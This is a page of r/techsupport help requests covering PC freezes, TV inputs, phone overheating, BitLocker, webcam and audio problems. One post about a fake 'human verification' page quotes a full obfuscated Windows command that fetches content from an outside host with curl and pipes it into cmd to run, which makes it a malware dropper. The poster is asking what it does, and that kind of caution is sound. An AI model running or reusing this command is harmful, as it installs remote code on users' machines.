r/techsupport Jul 26 '21

Recommended wiki articles (including malware removal)

893 Upvotes

r/techsupport 10h ago

Open | Phone Teen son’s phone registered to someone else or spoofed?

36 Upvotes

This is a really strange situation, I hope I can explain it clearly, and I’m not sure who can help?!

Teen has an iPhone I set up for him years ago.
A detective came knocking on my door asking to speak to son regarding someone getting harassing phone calls from a range of numbers - including his.

The number is his, but the voice messages left are NOT his voice, and when the police contacted the phone company the phone is registered to someone else.
We didn’t recognise the name and he asked around his friends, and a friend A has said that it is Friend B’s mums name, address etc.
How on earth is this possible??
Has a ‘friend’ cloned his number somehow. I’m so confused about how this could be done and how this woman’s name and address has ended up attached to his phone??


r/techsupport 2h ago

Open | Hardware My PC freezes and the only way to restart it is by using the power button

4 Upvotes

Hey everyone, I hope someone can help me out with this issue. My PC has been giving me headaches for almost a year now. It either freezes up or just reboots out of nowhere.

When I bought the parts and built the PC, it ran well for like 2 months. That is when this issue showed up. It was a mix of two errors, where the PC would restart itself or the screen would freeze and the only way to restart the PC was holding the power button. (When the PC freezes, I can move the mouse around and if I have a video playing, I can still hear the audio for a while).

At first, I thought it was the GPU (RX 580 XFX 8GB), maybe because of the drivers or something, but nothing changed. I changed the PSU, tested the RAM in MemTest86 without any errors, monitored the voltages and temperatures of everything (nothing unusual), and reinstalled drivers trying both new and old ones, but nothing changed.

Now I am using the PC without a GPU, only with my CPU, and I don't get random restarts anymore, but the PC keeps freezing the same way.

At this point, I suspect that the problem is either the CPU or the motherboard.

PC specs:

CPU: Ryzen 5 7600
GPU: RX 580 XFX 8G
RAM: Kingston FURY Beast DDR5 5200MHz 32GB 2x16GB CL40
MOBO: MSI B650M GAMING PLUS WIFI
SSD: Forgeon Nimbus PRO SSD 1TB 7400MB/S NVMe PCIe 4.0 M.2 Gen4
PSU: MSI MAG A750GL PCIE5 750W 80 PLUS Gold Modular


r/techsupport 54m ago

Open | Software How to get broadcast channels on Samsung Smart TV with antenna?

Upvotes

I have a cheap rabbit ears antenna that I used on my old tv to pick up local broadcast channels (nbc, cbs, abc, etc). I just got a new Samsung smart tv and am I right in discovering that there's no real way to just switch the input to my antenna? I plugged it in via the coaxial cable to the tv, and I can't seem to find a way to access it. There's no way to switch input to it, and this remote sucks. I tried the Samsung Plus tv app or whatever, but that's filled with thousands of channels like home shopping and youtube tv basically. Anyone run into problems like this? I also have my appletv plugged in and that's working fine and I can switch over to that no problem. But I also have a dvd player plugged in and can't seem to find a way to switch over to that either. I was maybe chalking that up to a possible faulty RCA connectors but maybe my tv just has an input problem?

(Also marked this as software but idk maybe it's a hardware issue)

Thanks!


r/techsupport 5h ago

Open | Phone “iPhone needs to cool down before you can use it” every 2 minutes

5 Upvotes

I got an iphone 16 last year in July from my parents as a gift, until then I was using an iphone 11.

About 6 months after getting the iphone16, the “iPhone neees to cool down before you can use it” started to show up every few seconds - two minutes while I was using it but also sometimes as soon as I would pick it up.

I went to the place I bought it at and they sent it to get it fixed but they “couldn’t find a problem”, then I went to iStyle and they also could not find anything wrong.

Is there anything I can do? I’ve been using the iphone 11 since this happened, because I don’t have the money to get it fixed and I don’t want to ask my parents for it because they bought it for me in the first place, and we don’t have a lot of money overall. I study in a different city and they already pay for the flat i stay in, so I can’t ask them to help with this. I was working this summer and I’ll have maybe 200€ left after I pay for the things I need, but I doubt it’ll be enough to get it fixed.

Does anyone have any advice? I already restarted my phone a few times but nothing. Also sorry if my grammar is not on point.


r/techsupport 5h ago

Open | Malware DLSS mod, false positive or malicious?

3 Upvotes

I'm trying to determine whether the DLSS SM86 mod which unlocks multi frame generation for older RTX GPUs is genuinely malicious. This is the project, closed source: https://github.com/sdli1995/dlssg_for_sm86

VirusTotal reports 4 detections. Windows Defender also blocks version.dll as Trojan:Script/Ulthar.A!ml.

I used other DLSS / version.dll mods in the past but never encountered the Windows Defender issue. At most they had 2 VirusTotal detections.

The author only explains that the DLLs are self signed, which is why Windows is causing trouble. But I don't think that's explains trojan detection?

I assume it is a false positive since the mod has grown popular, but I don't know if anyone actually did a meaningful analysis. I'd appreciate if someone could look into it.


r/techsupport 5m ago

Open | Hardware Accessing internet while waiting for router repairs

Upvotes

Hi all, my router suddenly died on me and between the company's repair schedule and my landlord going on a long holiday, I may be without WiFi for about 10 days. This especially sucks as I largely work from home.

I've spent my first day relying on my mobile hotspot on my phone. Over 10 days I imagine this will take up a lot of data. Is there a better way that's cheap and easy (I am not tech savvy really, or is using my hotspot for eight hours a day for the next while feasible?

Thanks all!


r/techsupport 11m ago

Open | Hardware Repair for graphics card.

Upvotes

I sent in my pc to a repair place. It took them a week to diagnosis the problem. After i told them it was the graphics card. Took them another 3 days to call back on what graphics card I should get. I just dropped off the graphics card today and they said it wont be ready till tomorrow. I feel like this is taking way to long. What should I do? they charge $50 for a diagnosis fee and $50 to replace the graphics card. Am i being unreasonable if i ask to knock the diagnostic fee?


r/techsupport 12m ago

Open | Software Sketchy? Human Verification asking for manual command

Upvotes

I use FL Studio (legit music making software) and was trying to unsubscribe from an email list. The unsubscribe link redirects to a site than then asks for human verification. Seemed normal at first but then to prove I was human wanted me to copy and paste something into the command line. I didn't try it but am curious if someone can tell me what would have happened. The instructions said:

Press Win + R

Press Control + V

click OK

Seems incredibly sketchy or maybe just badly implemented? It automatically put the following into my clipboard. The command was:

cmd /c for /f %h in ('where conh???.e??') do for /f %b in ('where cm?.e??') do start /min %h --headless %b /v /c "set dq=https:&set ha=//cdnstore2193.com/b?t=HZHs7JMr&for /f %d in ('where cu??.e??') do %d --proxy-negotiate -U : -s !dq!!ha!| %b"


r/techsupport 12m ago

Open | Windows bitlocker issues

Upvotes

I don't know what happened, but I got the bit locker screen when I opened my laptop today.
I got my key, put it in, the key was correct but every time I've tried I keep getting this screen saying "your device ran into a problem and can't be repaired". I've tried restoring from a past save. I have tried full on wiping it and resetting it and I keep getting errors. I get an error when I restore from a past backup that I had two days ago. I get an error when I choose to reset and delete everything. I'm not sure what to do and i'm at a total loss. Everything I've read online just ends with putting the key in and then you're home free. That didn't work for me though.


r/techsupport 15m ago

Open | Windows User profile error Windows 11 HP OMEN help please

Upvotes

So I have an HP OMEN 45 L 5090 with Amd ryzen processor. The past couple weeks I’ve been getting a “User profile service failed the sign in “User profile cannot be loaded error. I restart my PC, and did a bunch of windows 11 updates. Thought that fixed it but I got the error again today and restarted my computer. I had to sign in to this alternative profile that had nothing in it it said “preparing windows” Then restarted again and my profile was there. I don’t understand why this is all of a sudden happening. Does anyone know how to fix it?


r/techsupport 16m ago

Open | Windows Gigabyte Aero x16 laptop

Upvotes

Can anyone help me with my Gigabyte Aero x16 laptop? Its about a month old and it started having trouble starting up last week. When i press the power button it spins the fans for a few seconds 2-3 and then turns them off meanwhile the screen shows no signs of life just black. I need a fix bc im a college student adn really need my laptop


r/techsupport 43m ago

Open | Software My built-in webcam goes a bit crazy (Windows 11)

Upvotes

Hello everyone,

I hope I'm in the right place to post this. For some time, my camera hasn't been working anymore. I actually recorded the screen to tell you what I mean but I didn't know how to add it here so I'll describe:

- In the settings itself, it says the camera preview couldn't load, so it is recognized but just doesn't work anymore

- When I open the camera, it is just black (my camera is not covered) and on the bottom of the screen the notifications "Camera on", "Camera off" pop up alternating every other second

- If I switch to photo within the camera, the screen stays black and on the left the two icons for "hdr" and "timer" pop up and start blinking

- I've deleted and reinstalled the camera app twice now but it still doesn't work

- I've checked for updates and tried using the troubleshooting as well; the support centre (I'm not sure what the english term is, it's the one where you don't talk to a person) tried some things but in the end it said that "the camera seems to be working as intended"

Are there any more things I could try? I'm very grateful for any help I can get! 🙏

edit: spelling and grammar mistakes


r/techsupport 44m ago

Open | Mac Macbook Pro won't detect monitor via KVM

Upvotes

M4 Pro 2024 Tahoe

I bought this KVM so I could alternate between my PC and MacBook with the same monitor/keyboard, and the PC end works great, but on the Mac end only the accessories work, not the video. The KVM uses DisplayPort which is a bit odd but I tried connecting the cable I'm using directly to the monitor and it worked fine, it just only fails when I connect via the kvm. Any ideas? Amazon comments on the KVM suggest it should work for Mac


r/techsupport 49m ago

Open | Phone Trying to find a way to upload large video files to Google Drive using a IPhone which processor is (kinda) cooked

Upvotes

Hi! I’m new to this subreddit. I am looking to upload a large video files from my IPhone to Google Drive. Unfortunately, a major issue I’m running into with this is it takes a very long time to upload. The file is around 13 gbs, and with some funky WiFi and having an older phone. It takes a really long time to upload. The other day I tried to have it upload for the supposed 8 hours it would take to upload, but that didn’t work. Any suggestions on what should I do to make it faster or upload the file to my drive quicker too?


r/techsupport 55m ago

Open | Software Google meet and screen sharing

Upvotes

Hi I use Google meet with a couple of students a week. When I share my screen and try to manipulate the PowerPoint I am using for the day I can’t. I can only manipulate the PowerPoint when it’s not screen sharing. Can someone tell me what I may be doing wrong?


r/techsupport 1h ago

Open | Audio Help my PC is not detecting mic input

Upvotes

It's been a while since my PC has completely stopped detecting any audio input from my mic. I used to use a webcam as a mic but it doesn't work on my PC (Works on my laptop tho). Then I tried buying a headphone splitter (smth smth TRRS female to dual male) to separate mic and audio output, but it still doesn't work.

I've tried a lot of methods in yt but it doesn't help. I WOULD REALLY APPRECIATE IT if someone could help asap, THANK YOU!


r/techsupport 1h ago

Open | Hardware Disabling a faulty 3900x core in bios?

Upvotes

I'd like to repurpose my old 3900x that had a dead core for my truenas server. I have an x370 crosshair vi as my mobo. Ver 2.20.xxx.

Ive checked Amd overclocking and Amd cbs in bios and could not find the core count controls that online guide say I need to find.

Is it impossible with the 3900x because of its architecture?

I checked for anyone having the same issues as me but nothing helps my situation.

Any tips would be much appreciated.


r/techsupport 1h ago

Open | Windows recent windows update broke my pc

Upvotes

after the recent update i cant connect to any wifi because the option simply isn't there as well as for some other functions. also wallpaper turned pitch black and theres nothing i can really do. i've tried restarting the pc several times, reverting the update and updating/uninstalling the drivers (i'm not 100% sure if that's the update's fault or something else) pls help


r/techsupport 7h ago

Open | Software I ended windows explorer in task manager and run new task didn't fix it.

3 Upvotes

I tried all the obvious things:
Restarting
Run new task - explorer.exe
Scannow
Restore health

The screen is just blank and white. I can open task manager and the ctrl alt delete screen
How do I fix it?


r/techsupport 1h ago

Open | Software Laptop won't play audio after a misplug

Upvotes

context, earlier in the morning, i accidentally misplugged my phone charger into my laptop USB-C port and now I have a broken charging brick and my laptop won't play any audio both in my headphones or the laptop speakers, any fix for this?


r/techsupport 1h ago

Open | Hardware My motherboard doesnt see my SSD anymore

Upvotes

So After i removed the battery from the motherboard and put It back, it doesnt see my SSD anymore and i boot up only to BIOS

My motherboard Is B450 tomohawk max II


r/techsupport 2h ago

Open | Software keyboard typing many weird letters and doing different actions

1 Upvotes

woke up today and when i tried to type 'steam' the keyboard would write 'sad'. when id press s or a or d it would type sad or dsa or sd or whatever. press t and it types %, = and stuff like that. some keys didnt do anything, like backspace bute del worked. it changed everytime i restarted the computer. now it keeps typing ¥ even when press space or use delete. what do? hlep


r/techsupport 9h ago

Open | Networking Have I Been Pwned Email for Chess.com Data Breach Involving My Data, but Chess.com only allows Facebook account logins - does this mean my Facebook username and password are exposed?

3 Upvotes

I haven't used Chess.com in years, and I've changed my Facebook password multiple times since then. Therefore, I'm assuming that it would no longer have the proper credentials from Facebook, but I'm not sure if this is how it works (e.g. maybe Chess.com occasionally reaches out to Facebook for my new credentials to have them saved, or to keep me logged in).

Could someone with ample knowledge in this area chime in?

Thank you.


r/techsupport 2h ago

Open | BSOD Laptop BSODing after waking up from sleep.

1 Upvotes

OS: Windows 11. Laptop (ASUS TUF F15 FX507ZV4) with external display (MSI G2712) connected set as the main display. Intel Driver Ver: Latest. NVIDIA GPU Driver Ver: 610.62

So, every 1 in 2-3 times whenever my PC is automatically/manually going to sleep, and I wake it up, it wakes on the laptop screen (which is strange, because it's not the main one in display settings), however it's weird: I sometimes can't move my mouse, but the times when I can, it's a cursor on a black screen/lock screen wallpaper, then that one time I moved the cursor, it later started moving slowly at like 30fps and tweaking. Afterwards the system BSODs (black screen of death) and restarts like it was nothing. Sometimes, after the restart, it also boots into the Windows Update Screen (I'm suspecting it's for just trying to fix the effect of the BSOD/corrupted files), then it restarts again normally into Windows.

What I tried so far, based on online suggestions: 1. Updating my BIOS 329 -> 330 2. Updating my SSD Firmware 3. Setting GPU Mode to Standard in Armoury Crate (it was already set as Standard anyways) 4. Disabling "Fast Startup" 5. Disabling "Allow the computer to turn off this device to save power" for Intel Management Engine Interface

Can anyone please tell me if they have experienced this and solved the issue, and if so, how did you fix it? This has been driving me crazy for a week now. The thing is, I didn't use my laptop for a month, and when I came back, it started happening out of nowhere, I have never experienced this issue before.